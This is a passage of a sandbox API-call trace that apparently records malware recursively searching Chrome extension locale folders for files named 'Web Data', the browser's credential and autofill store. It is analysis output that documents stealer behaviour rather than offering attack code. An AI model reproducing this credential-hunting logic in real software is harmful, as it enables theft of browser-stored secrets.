(lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da") returned 133 [0056.355] lstrlenA (lpString="\\*.*") returned 4 [0056.355] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.355] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da" [0056.355] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*.*" [0056.355] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.355] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.355] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.356] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.356] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.356] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.356] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.356] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.356] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.356] LocalFree (hMem=0x2e0328) returned 0x0 [0056.356] LocalFree (hMem=0x2e0218) returned 0x0 [0056.356] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.356] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.356] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.356] lstrlenA (lpString="\\") returned 1 [0056.356] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.356] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.356] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.356] lstrlenA (lpString="de") returned 2 [0056.356] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.356] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.356] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de" [0056.356] LocalFree (hMem=0x2e0108) returned 0x0 [0056.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de") returned 133 [0056.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de") returned 133 [0056.356] lstrlenA (lpString="\\*.*") returned 4 [0056.356] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.356] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de" [0056.356] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*.*" [0056.356] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.356] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.356] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.356] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.356] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.356] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.356] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.356] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.356] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.356] LocalFree (hMem=0x2e0328) returned 0x0 [0056.356] LocalFree (hMem=0x2e0218) returned 0x0 [0056.356] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.356] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.356] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.357] lstrlenA (lpString="\\") returned 1 [0056.357] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.357] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.357] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.357] lstrlenA (lpString="el") returned 2 [0056.357] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.357] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.357] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el" [0056.357] LocalFree (hMem=0x2e0108) returned 0x0 [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el") returned 133 [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el") returned 133 [0056.357] lstrlenA (lpString="\\*.*") returned 4 [0056.357] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.357] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el" [0056.357] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*.*" [0056.357] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.357] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.357] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.357] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.357] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.357] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.357] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.357] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.357] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.357] LocalFree (hMem=0x2e0328) returned 0x0 [0056.357] LocalFree (hMem=0x2e0218) returned 0x0 [0056.357] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.357] lstrcmpiA (lpString1=".", lpString2="en") returned -1 [0056.357] lstrcmpiA (lpString1="..", lpString2="en") returned -1 [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.357] lstrlenA (lpString="\\") returned 1 [0056.357] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.357] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.357] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.357] lstrlenA (lpString="en") returned 2 [0056.357] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.357] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.357] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="en" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en" [0056.357] LocalFree (hMem=0x2e0108) returned 0x0 [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en") returned 133 [0056.357] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en") returned 133 [0056.357] lstrlenA (lpString="\\*.*") returned 4 [0056.358] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.358] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en" [0056.358] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*.*" [0056.358] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.358] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.358] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.358] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.358] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.358] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.358] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.358] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.358] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.358] LocalFree (hMem=0x2e0328) returned 0x0 [0056.358] LocalFree (hMem=0x2e0218) returned 0x0 [0056.358] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.358] lstrcmpiA (lpString1=".", lpString2="es") returned -1 [0056.358] lstrcmpiA (lpString1="..", lpString2="es") returned -1 [0056.358] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.358] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.358] lstrlenA (lpString="\\") returned 1 [0056.358] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.358] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.358] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.358] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.358] lstrlenA (lpString="es") returned 2 [0056.358] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.358] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.358] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="es" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es" [0056.358] LocalFree (hMem=0x2e0108) returned 0x0 [0056.358] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es") returned 133 [0056.358] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es") returned 133 [0056.358] lstrlenA (lpString="\\*.*") returned 4 [0056.358] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.358] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 